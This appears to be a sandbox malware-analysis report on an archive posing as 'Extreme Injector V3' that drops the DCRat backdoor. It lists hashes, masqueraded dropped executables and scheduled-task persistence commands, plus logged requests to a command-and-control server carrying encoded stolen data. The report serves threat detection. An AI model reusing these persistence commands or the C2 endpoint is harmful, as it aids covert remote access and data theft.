File name:

Extreme Injector V3 (3).rar

Full analysis: https://app.any.run/tasks/5b654b28-d6d4-4853-a5da-e6e5c7ac709a
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: January 04, 2024, 19:32:15
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

13D7AD8E46DAA94F672431BD98DF1F61

SHA1:

3E6001D16B7670F39D6F09F429947EB289BD8FC5

SHA256:

8560B827D1A58DCC81C2D94DCE540443D3720C73AD7F3B854593E0CE837C83E7

SSDEEP:

98304:DGT24G+mz3CPnb4JpT7c7EcdLWf1Plob5KI/gjb9VSb654xAyuvAUpBOdgpmgAKu:S9L/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 2204)

    • Actions looks like stealing of personal data

      • dllhost.exe (PID: 2648)

  • SUSPICIOUS

    • Reads the Internet Settings

      • Extreme Injector V3.exe (PID: 392)
      • wscript.exe (PID: 2204)
      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2204)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2204)

    • The process executes VB scripts

      • Extreme Injector V3.exe (PID: 392)

    • Starts CMD.EXE for commands execution

      • FonthostDhcp.exe (PID: 1504)
      • wscript.exe (PID: 2204)

    • The process creates files with name similar to system file names

      • FonthostDhcp.exe (PID: 2308)

    • Reads settings of System Certificates

      • dllhost.exe (PID: 2648)

  • INFO

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 2184)
      • Extreme Injector V3.exe (PID: 392)
      • FonthostDhcp.exe (PID: 2308)

    • Checks supported languages

      • Extreme Injector V3.exe (PID: 392)
      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Reads the computer name

      • Extreme Injector V3.exe (PID: 392)
      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Reads the machine GUID from the registry

      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Reads product name

      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Reads Environment values

      • FonthostDhcp.exe (PID: 2308)
      • FonthostDhcp.exe (PID: 1504)
      • dllhost.exe (PID: 2648)

    • Executed via WMI

      • schtasks.exe (PID: 1924)
      • schtasks.exe (PID: 2668)
      • schtasks.exe (PID: 996)
      • schtasks.exe (PID: 2736)
      • schtasks.exe (PID: 2576)
      • schtasks.exe (PID: 148)
      • schtasks.exe (PID: 1384)
      • schtasks.exe (PID: 2588)
      • schtasks.exe (PID: 1600)
      • schtasks.exe (PID: 1768)
      • schtasks.exe (PID: 1572)
      • schtasks.exe (PID: 876)
      • schtasks.exe (PID: 2316)
      • schtasks.exe (PID: 2292)
      • schtasks.exe (PID: 1268)
      • schtasks.exe (PID: 2324)
      • schtasks.exe (PID: 2788)
      • schtasks.exe (PID: 2756)
      • schtasks.exe (PID: 2396)
      • schtasks.exe (PID: 552)
      • schtasks.exe (PID: 980)
      • schtasks.exe (PID: 2804)
      • schtasks.exe (PID: 2748)
      • schtasks.exe (PID: 2888)
      • schtasks.exe (PID: 1956)
      • schtasks.exe (PID: 2960)
      • schtasks.exe (PID: 1812)
      • schtasks.exe (PID: 1000)
      • schtasks.exe (PID: 2524)
      • schtasks.exe (PID: 2516)
      • schtasks.exe (PID: 2512)
      • schtasks.exe (PID: 2532)
      • schtasks.exe (PID: 2844)
      • schtasks.exe (PID: 2380)
      • schtasks.exe (PID: 2360)
      • schtasks.exe (PID: 2376)
      • schtasks.exe (PID: 2832)
      • schtasks.exe (PID: 3068)
      • schtasks.exe (PID: 1484)
      • schtasks.exe (PID: 880)
      • schtasks.exe (PID: 2820)
      • schtasks.exe (PID: 3048)
      • schtasks.exe (PID: 3012)
      • schtasks.exe (PID: 3056)
      • schtasks.exe (PID: 2676)

    • Creates files in the program directory

      • FonthostDhcp.exe (PID: 2308)

    • Starts itself from another location

      • FonthostDhcp.exe (PID: 2308)

    • Connects to the CnC server

      • dllhost.exe (PID: 2648)

    • DCRAT has been detected (SURICATA)

      • dllhost.exe (PID: 2648)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
92
Monitored processes
54
Malicious processes
3
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winrar.exe no specs extreme injector v3.exe no specs wscript.exe no specs wscript.exe no specs cmd.exe no specs fonthostdhcp.exe no specs cmd.exe fonthostdhcp.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT dllhost.exe

Process information

PID
CMD
Path
Indicators
Parent process
148schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Documents\dllhost.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
392"C:\Users\admin\AppData\Local\Temp\Rar$EXb2184.23204\Extreme Injector V3.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXb2184.23204\Extreme Injector V3.exe—WinRAR.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\rar$exb2184.23204\extreme injector v3.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24542_none_5c0717c7a00ddc6d\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
552schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\services.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
668C:\Windows\system32\cmd.exe /c ""C:\PortCombrowserIntocrt\9ooFS78ALNPOm.bat" "C:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
876schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files\Notepad++\localization\dllhost.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
880schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 9 /tr "'C:\PortCombrowserIntocrt\ctfmon.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
980schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0017-0412-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
996schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Administrator\AppData\Roaming\Microsoft\conhost.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1000schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\Performance\lsass.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1268schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0017-0412-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
6 258
Read events
6 195
Write events
63
Delete events
0

Modification events

(PID) Process:(2184) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
17
Suspicious files
1
Text files
17
Unknown types
0

Dropped files

PID
Process
Filename
Type
2308FonthostDhcp.exeC:\PortCombrowserIntocrt\Idle.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
392Extreme Injector V3.exeC:\PortCombrowserIntocrt\FonthostDhcp.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
2308FonthostDhcp.exeC:\PortCombrowserIntocrt\6ccacd8608530ftext
MD5:0B70BFBDFEFEB9FC6F9049F706F36325
SHA256:62F367779826FCEB4FFAC1AC4077DFA216A6267DBB59824F6FE65A09EFC5F041
2308FonthostDhcp.exeC:\Users\Public\Documents\dllhost.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
392Extreme Injector V3.exeC:\PortCombrowserIntocrt\zjPrDFkyKv.vbebinary
MD5:B0C4EE1CE7EACA898D8EDC776BAD4CE8
SHA256:7333F9AA244A32A6CB2E706FD5944EFF0709231FB35899051AF27085C8948A38
2308FonthostDhcp.exeC:\Users\Public\Documents\5940a34987c991text
MD5:2B18901CBC513B0FB6AC03FC45883AE9
SHA256:478FE245212F6E3BE28BA833D83AECCA291C17028E82E966F1D33D6AC955C208
392Extreme Injector V3.exeC:\PortCombrowserIntocrt\9ooFS78ALNPOm.battext
MD5:F190F7F19BB37D9FD4F72586514CCEB1
SHA256:D3AE983A4BDE4226B109EED16A55AC4E123D422EC17C2B9F23B773A5D431DB39
2308FonthostDhcp.exeC:\MSOCache\All Users\{90140000-0017-0412-0000-0000000FF1CE}-C\csrss.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
2184WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXb2184.23204\Extreme Injector V3.exeexecutable
MD5:F6DC1EC23DC4CFC69765A86158415BE6
SHA256:A845C1B578794666DC0C10D45F32215B2DDC9EA52F4C320E1C83020539335353
2308FonthostDhcp.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\services.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
25
TCP/UDP connections
6
DNS requests
3
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?9qRq=sLi5MGdggnDEubgasrVaRB70R&QwIeKo8ThKyMbXTUIuND5=2pQ86QeqOs&d910117de1a31e3e3912b057c0b12822=bea1bc314bb95217d6e743e5ee7ae803&c0abd845fefa6cccd022caa19260d7d8=QMlJTZ2cTMiBjNxUTNwMmY2MTNyIGN2QDZ0U2YwYGN4IWZlFGNkFjY&9qRq=sLi5MGdggnDEubgasrVaRB70R&QwIeKo8ThKyMbXTUIuND5=2pQ86QeqOs
unknown
text
2.08 Kb
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIwYTNzYjNwI2MyEjN5EGZlZTMiJ2N5MzY4IjZmZWY2cTN4IGO3QmZ2IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
—
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiI2MDO4IWOlVTN4MzYjdDMhJTO4ATZ1IGM1I2MzUWNiZTZzQGMihzYxIiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
—
—
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W&3ee7ee8311472d599cf57029fe23d4d9=QX9JiI6ICNyUjZ3QGNzIWY4UjMjRTYlNDO0gTYmJTYhFGZmRmZ2ICLiIGMlhjNzYjZ2MjZhJmZ5MjYmFTOkVTMyY2YjNWMmFzNxETZlhjN3QjI6ICZlVTOjJTOiNGOllTMkFDN1YjYjNWMhljMycjZhR2Y0ICLiATMwQjY2cTY4cDMxETM3cDZ4ITO2UGZ2UWOmZmMxYjNmVGMwYzNjVmI6ISO4MjYkhDMxMWZ5YDOzUWMhJjN3UTNjVzMzATN4EDNmJyes0nIRZWOKlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETpFkaJZTSplFMZpXWzUUbZxmVHp1dRdlWtZ0VNpGaE5kMZ1mT0UUbZhmSq10aspWT5l0VONTRH9EeV1WWpNnbPlWRHRGaSVEZ0YVbJNXVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJlnRtNWdrlXTvFUeNdlQpNmdSNTWsBXbipkQTpFdW12YwgGWSl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS51EMnpmT1dGRMRzZU1Ee0MUTxkUaPlWTyI2cKNETpVVRSl2bqlUNKhEZ1Z1MipmSDxUaVJzY6Z1RTl2bqlUd5cVYuZVbjl2dplUdsdVWOJ0UihmQDRWeW5mWyVzVZlnWrlkNJNVZwwmMZl2dplUerpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIkNjZ1cDZmdTM4MDMxYjM3E2MwQGNyQWM3EGMhBDOhBjYiljNkVTM0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&19b9eb1db0327134a8e884f70d514d82=d1nI5oUaiZHbHRGawhVYzZkMZZHeHh1Y0l3SrZ0RjxmUzI2T4ZEW6Z1RiBnWFlEdG12YulTbjFFeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS6ljMaBnSIpFaKNDWzZ1VhlnSXllbKl2TplEWapnVWJGaWdEZUp0QMNHeXRWdwpWSuVzVZ1UMXlFbSNTVpdXaJRnRXpFMONDT6Z1RiBnWHlEdG12YulTbjdXOp9kaKl2Tpd2RkhmQWJGaWdEZUp0QMl2a5JGcSdFZCJUeOVzY5FlQClXYsJFSihmVtV1bBlmYKJ0UaVHbHRVd4x2YjlzVhtmVYF1ZjR1Tu1UVRd2cXpFM4dVWspkRLdWVtJmdod0Y2p0MZBXMrlkNJl3YsVjMi9mQzIWeOdVYOp0QMlWSp9UaNhlYo5UbZxGZsl0cJlmYjpESYh3aWFVTCFTVKJVRYNWNDh1Y4ZEWp9maJpXNXpFbKNTWUp0QMlGNyQmd1ITY1ZFbJZTSDVlS1UVUNp0QMlWSwI1ZNpWS2k0UUJkSsl0cJlmYzkTbiJXNXZVavpWSzh3VZNjVtNGcatWSzlUaiNTOtJmc1clVp9maJpnVuNGcahVYwUzVRl2dplEeBNFTnF0QU1kVFJVavpWS1lzVhpnSYp1VOFDVKp0aJNXS5VFUstWUnBzVaBjTYVGVCNEZzZFWZ1mVHJVavpWSsFzVZ9kTxQlSKtWSzlUaiNTOtJmc1clVp9maJVEbFpVeGJjYppEWa9mUzImTKNETpRjMkZXNyEWdWxWS2kUajxmSYRGMOdVWtZlbihWMFpVeGJjYppEWa9mUzImTKNETpRjMkZXNyEWdWxWS2k0UaRnRtR1aKhVW2pUbjxGaHRmdxsWSzl0UNlnVHJ2c502YwUjMiRUOXp1as1mVp9maJtGbVplas1GZsJVVWFFZrl0cJNVU2RzaJZTSTpFMG1WVv5EWalnWXp1UohVWOZlRVhkSDxUaFBDTPpUaPlGNyIGcSh0Ywp0MZpnVHJFbSJjYOlzVatGbtZlVCFjUpdXaJJUOpRVavpWS1o0MiRnVXRldWdkWwplVWFFZrl0cJNVU2RzaJZTSpNmdONzYs5kMilnQxIGbSdVYXZlRVhkSDxUaVpWS2k0UalnVIRmaWdEZwhmMZlnRwIGbSdVYXZlRVhkSDxUaJhlWwIEWZtmRFlkeOdVYvJEWZlHZFlkQktmVnFVbjhmUtJGaSNTVp9maJxWMXl1TWZUVIp0QMlWTUJlMBRlT3FERNdkWrF1RKV0TzEkaJZTSDplSKNjY65EWapWOtNWUWZUVEp0QMlWQUZVUOtWS2k0QapkVykFcahlWFZlRVRkSDx0MnRlT69maJVXOXFmes1GZspkVWFlTrl0cJlWZJFTRJBTRU1keJl2TpF1VaxmQzUlcOJjYz5URkVnVtNWeWNTUWJUMRl2dplkQ5kGVp9maJtmVXp1dOFTYqlzRiREeXlVdKhlWwgGWSZlQxEVa3lWSDxmMTdWQqlkNJNlW2wmMVxGaykFaOBTTNZlRVRkSDxUaFBDTPpUaPlWVtVGcOZlWv50VZRkSERlVCFTUpdXaJVTSp9UaV12YxI1MZxmUYF2bO12YCZlRVRkSDxEMvpWS6p0MipnTYpla502YRh3VZpGbyold4VlVR50aJNXUq9U